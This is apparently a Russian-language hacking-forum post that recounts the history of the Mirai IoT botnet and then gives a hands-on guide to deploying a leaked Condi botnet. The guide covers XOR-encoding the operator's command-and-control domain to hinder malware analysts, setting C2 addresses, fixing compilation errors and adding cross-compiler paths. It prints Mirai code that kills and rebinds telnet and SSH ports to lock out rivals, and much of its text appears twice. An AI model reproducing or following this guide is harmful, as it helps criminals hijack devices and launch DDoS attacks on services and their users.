D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Если вы никогда не сталкивались с IoT ботнетами, то в первую очередь вам следует обратить внимание на истоки.
MIRAI
В 2016 году на весь мир прогремела серия DDoS атак с невидынами 600гбит-1тб сек
французский провайдер OVH стал одним из первых кто почуствовал что такое IoT на самом деле. Никто не понимал что происходит, огромный ботнет уничтожал работу сервисов, Mirai имел огромное количество устройств в своей сети.
Специалистам из OVH удалось разобрать и подсчитать примерное количество устройств учавствовающих в атаке. На удивление специалистов это были не классические персональные компьютеры, а устройства умного дома/интернет вещей. Спустя несколько дней, аноним под ником Anna-senpai на одном из зарубежных форумов опубликовал версию IoT ботнета, как оказалось именно этот ботнет был ответсвтенен за серию атак на Krebsonsecurity,OVH,hypixel
Причина по которой Mirai смог набрать большое количество ботов, это ряд функций прописанный в поведении бота.
Mirai конкурировал за огромный пул уязвимых IoT устройств на который хотели посигнуть сотни кибепреступников по всему миру.
В первых версий вредоноса Mirai подбирал log
ass к устройствам по всему миру, генерируя IP-адреса и пытаясь подключиться по Telnet/SSH. По сути Mirai создавался как вирус под linux и занимался простым брутфорсом, но с последующими версиями Mirai уже помимо брутфорса использовал большое количество эксплойтов под всевозможные роутеры/камеры..
Принцип был такой:
1) Генерируется n^число Ip-адресов
2) Запускается сканер и подбирается пароль к telnet/ssh
3) На устройстве выполняется команда для получения архитиктуры процессора и отсылается на сервер хранения бинарников
4) Сканер который уже на устройстве узнав архитиктуры процессора выгружает по http/tftp нужный бинарник и запускает его
5) Зараженный зомби девайс начинает выполнять пункт 1/2
Вытеснение Конкурентов
Mirai сканировал память и пытался найти конкурентов, чтобы убить его процесс. Особенно в то время пользовался популярностью Qbot
Так же у бота инфицированным Mirai закрывалсь порты 21/22/80
Это нужно было для того, чтобы други сканеры не смогли зайти по такому же пути.
C: Скопировать в буфер обмена
Mirai инфицированный бот порожает устройство в одной с ним сети
Если резюмировать, то Mirai в настоящее время не имеет силы для набора IoT зомби, но все же нынещниее время IoT ботнеты базариуются именно на коде Mirai и помечаються везде как Mirai-based-malware, как раз в практической части мы развернем один из Mirai-based ботнет.
Практика:
За основу возьмем распростроняющийся по сети Condi botnet, а именно его слитую версию. Вы так же можете купить ее у разработчика, на его сайте. Но в любом случаи я прилажу архив в 5 версией, именно ее мы будем разворачивать.
У нас есть интересный файл enc.c
Он нам нужен для того чтобы зашифровать наш домен, чтобы усложнить поиск домена вирусным аналитикам при реверсе.
давайте зашифруем наш домен www.megahucker[.]co
мы получили за Xor'енную версию нашего домена и колв байтов
да, сначала нужно зарегистрировать домен и привязать его к VPS
полученный результат следует внести в table.c
Код: Скопировать в буфер обмена
Меняем IP-адрес сервера С2 там, где это необходимо:
При компиляции если возникнит такая ошибка undefined: strings.Cut, то вот решение
удалить это из bash файла
создайте этот путь руками и перенесите сюда старую версию (любую до сентября 2023года - github.com/go-sql-driver/mysql)
root/Projects/Proj1/github.com/src/go-mysql-driver/mysql
Вторая проблема - криво написанный bash файл, дело в том, что автор забыл указать путь к компиляторам, поэтому нужно будет добавить это добро в файл dlr/build.sh
криво написанный bash файл
Нужно добавить это вверху:
Код: Скопировать в буфер обмена
Мой путь к компиляторам /etc/xcompile
вам нужно будет Скачать
MIRAI
В 2016 году на весь мир прогремела серия DDoS атак с невидынами 600гбит-1тб сек
французский провайдер OVH стал одним из первых кто почуствовал что такое IoT на самом деле. Никто не понимал что происходит, огромный ботнет уничтожал работу сервисов, Mirai имел огромное количество устройств в своей сети.
Специалистам из OVH удалось разобрать и подсчитать примерное количество устройств учавствовающих в атаке. На удивление специалистов это были не классические персональные компьютеры, а устройства умного дома/интернет вещей. Спустя несколько дней, аноним под ником Anna-senpai на одном из зарубежных форумов опубликовал версию IoT ботнета, как оказалось именно этот ботнет был ответсвтенен за серию атак на Krebsonsecurity,OVH,hypixel
Причина по которой Mirai смог набрать большое количество ботов, это ряд функций прописанный в поведении бота.
Mirai конкурировал за огромный пул уязвимых IoT устройств на который хотели посигнуть сотни кибепреступников по всему миру.
В первых версий вредоноса Mirai подбирал log
Принцип был такой:
1) Генерируется n^число Ip-адресов
2) Запускается сканер и подбирается пароль к telnet/ssh
3) На устройстве выполняется команда для получения архитиктуры процессора и отсылается на сервер хранения бинарников
4) Сканер который уже на устройстве узнав архитиктуры процессора выгружает по http/tftp нужный бинарник и запускает его
5) Зараженный зомби девайс начинает выполнять пункт 1/2
Вытеснение Конкурентов
Mirai сканировал память и пытался найти конкурентов, чтобы убить его процесс. Особенно в то время пользовался популярностью Qbot
Так же у бота инфицированным Mirai закрывалсь порты 21/22/80
Это нужно было для того, чтобы други сканеры не смогли зайти по такому же пути.
C: Скопировать в буфер обмена
Код:
#ifdef KILLER_REBIND_TELNET
#ifdef DEBUG
printf("[killer] Trying to kill port 23\n");
#endif
if (killer_kill_by_port(htons(23)))
{
#ifdef DEBUG
printf("[killer] Killed tcp/23 (telnet)\n");
#endif
} else {
#ifdef DEBUG
printf("[killer] Failed to kill port 23\n");
#endif
}
tmp_bind_addr.sin_port = htons(23);
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
listen(tmp_bind_fd, 1);
}
#ifdef DEBUG
printf("[killer] Bound to tcp/23 (telnet)\n");
#endif
#endif
// Kill SSH service and prevent it from restarting
#ifdef KILLER_REBIND_SSH
if (killer_kill_by_port(htons(22)))
{
#ifdef DEBUG
printf("[killer] Killed tcp/22 (SSH)\n");
#endif
}
tmp_bind_addr.sin_port = htons(22);
if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));
listen(tmp_bind_fd, 1);
}
#ifdef DEBUG
printf("[killer] Bound to tcp/22 (SSH)\n");
#endif
#endif
Если резюмировать, то Mirai в настоящее время не имеет силы для набора IoT зомби, но все же нынещниее время IoT ботнеты базариуются именно на коде Mirai и помечаються везде как Mirai-based-malware, как раз в практической части мы развернем один из Mirai-based ботнет.
Практика:
За основу возьмем распростроняющийся по сети Condi botnet, а именно его слитую версию. Вы так же можете купить ее у разработчика, на его сайте. Но в любом случаи я прилажу архив в 5 версией, именно ее мы будем разворачивать.
У нас есть интересный файл enc.c
Он нам нужен для того чтобы зашифровать наш домен, чтобы усложнить поиск домена вирусным аналитикам при реверсе.
давайте зашифруем наш домен www.megahucker[.]co
мы получили за Xor'енную версию нашего домена и колв байтов
да, сначала нужно зарегистрировать домен и привязать его к VPS
полученный результат следует внести в table.c
Код: Скопировать в буфер обмена
Код:
(TABLE_CNC_DOMAIN, "xor_result", bytes)
(TABLE_SCAN_CB_DOMAIN, "xor_result", bytes)
- loader/scanlisten.go
- loader/src/headers/config.h
- dlr/main.c
- cnc/main.go
- loader/scanlisten.go
При компиляции если возникнит такая ошибка undefined: strings.Cut, то вот решение
удалить это из bash файла
создайте этот путь руками и перенесите сюда старую версию (любую до сентября 2023года - github.com/go-sql-driver/mysql)
root/Projects/Proj1/github.com/src/go-mysql-driver/mysql
Вторая проблема - криво написанный bash файл, дело в том, что автор забыл указать путь к компиляторам, поэтому нужно будет добавить это добро в файл dlr/build.sh
криво написанный bash файл
Нужно добавить это вверху:
Код: Скопировать в буфер обмена
Код:
#!/bin/bash
export PATH=$PATH:/etc/xcompile/arc/bin
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/armv7l/bin
export PATH=$PATH:/etc/xcompile/i486/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/i686/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export PATH=$PATH:/etc/xcompile/x86_64/bin
вам нужно будет Скачать
View hidden content is available for registered users!